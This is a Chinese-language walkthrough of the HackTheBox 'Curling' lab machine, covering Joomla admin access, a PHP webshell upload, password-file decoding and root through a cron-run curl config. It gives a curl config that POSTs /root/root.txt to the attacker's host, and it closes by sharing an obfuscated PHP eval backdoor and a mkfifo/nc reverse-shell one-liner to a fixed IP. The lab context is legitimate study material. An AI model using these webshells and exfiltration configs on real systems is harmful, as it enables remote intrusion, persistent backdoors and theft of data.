Curling_HTB靶机渗透

Curling_HTB靶机渗透

前言

做了有一段时间了,但是没有留下记录,所以再打一遍记录一下:)有些内容和思路仅限于靶场环境,也是有脑洞的成分在。

知识点:

  • nmap使用
  • scp命令
  • pspy监控crontab计划任务

信息收集

nmap开路,目标开放了22ssh和80http端口,80端口是Joomla服务,这里可以使用joomscan工具扫描Joomla版本信息,以便进一步利用

1

Floris作为super user发了一篇文章

2

查看源码发现注释内有提示secret.txt

3

访问发现是base64加密的文本,解码得到字符串

获取user.txt

尝试使用Floris/Curling2018!登录前台发现没什么用。Google之后发现Joomla后台登录/administrator,登录成功。

这里的常规思路应该是上传webshell,我也的确是这么做的。选择任意一个templates上传webshell,路径是/templates/templates_name/rev.php

4

得到www-data权限的反弹shell。

6

进入/home/floris,无法cat user.txt

可以cat password_backup,发现BZh文件头,怀疑是bz2文件。

这里给出常见文件头/标识位列表,来自Wikipedia

10

在第二次打的时候,发现了一个好东西,CyberChef,流程化解密,真的巨好用,强烈推荐。

解压流程:xxd -r > bunzip -k > gunzip -k > bunzip -k > tar xvf

得到password.txt,尝试ssh登录floris,可以拿到user.txt

11

至此,获取user权限

获取root.txt

上传pspy

scp ~/pspy floris@10.10.10.150:/tmp

pspy不多解释,可以在非root权限下监控进程。发现存在crul -K的计划任务在运行。curl结果输出到report文件中。

8

-K选项大概是使用本地文件作为配置文件,需要有配置参数url等。

  • 第一种方法

    将-K的config文件input修改为:

    1
    2
    url = "http://ifconfig_ip"
    data = @/root/root.txt

    其中,@指向文件root.txt,作为POST的内容。同时,本地监听80端口,即可获得传来的root.txt

    9

  • 第二种方法

    既然是执行curl命令,那就直接读取本地文件,输出到/tmp目录下,干脆利落

    1
    2
    url = "file:///root/root.txt"
    output = /tmp/.tokyo

    读取/tmp/.tokyo文件

至此,靶机渗透完成

后话

每次打靶机都会拿到奇奇怪怪的webshell。下面分享出来,有兴趣的师傅可以和我交流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$V='}reKhKhturn $Kho;}if (@preg_matchKh("/Kh$kh(Kh.+)Kh$kf/",@fileKh_get_contenKhtKhs("ph';
$D='p:/Kh/inputKh"),$m) =Kh= 1)Kh { Kh@ob_starKht(); @evaKhKhl(@KhgzuncomprKhess(@x(@baKhse';
$K='oscKhYFA";KhfuncKhtion x($t,$k){$Khc=strlKheKhn(Kh$k);$l=strleKhn($t);Kh$Kho="";fKho';
$M='64_dKhecKhodeKh($m[1Kh]),$k))); $o=@Khob_get_KhconKhKhtKhents(); @ob_enKhdKh_cleKhan';
$Q=str_replace('gt','','crgteatgtegt_gtgtfungtction');
$X='(); $r=@base6Kh4_eKhKhncode(@x(@gzcompKhress($oKh),$kKh)); prKhint("$KhKhp$kh$r$kf");}';
$H='$k="e10adc3Kh9";Kh$kh="Kh49ba59abbKhe56Kh";$kf="Khe057Khf20Khf883e";$pKh="KhpPTxYwAnrKh3';
$g='r($iKh=0;Kh$i<$lKh;){for($j=0;(Kh$j<Kh$c&&$i<$l);$Khj++,$Khi++KhKh){$o.=$t{$i}Kh^$k{$Khj};}';
$F=str_replace('Kh','',$H.$K.$g.$V.$D.$M.$X);
$w=$Q('',$F);$w();
?>

<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.233.128 1337 >/tmp/f');
?>

参考:
https://0xdf.gitlab.io
https://www.jianshu.com/p/869fd8b23717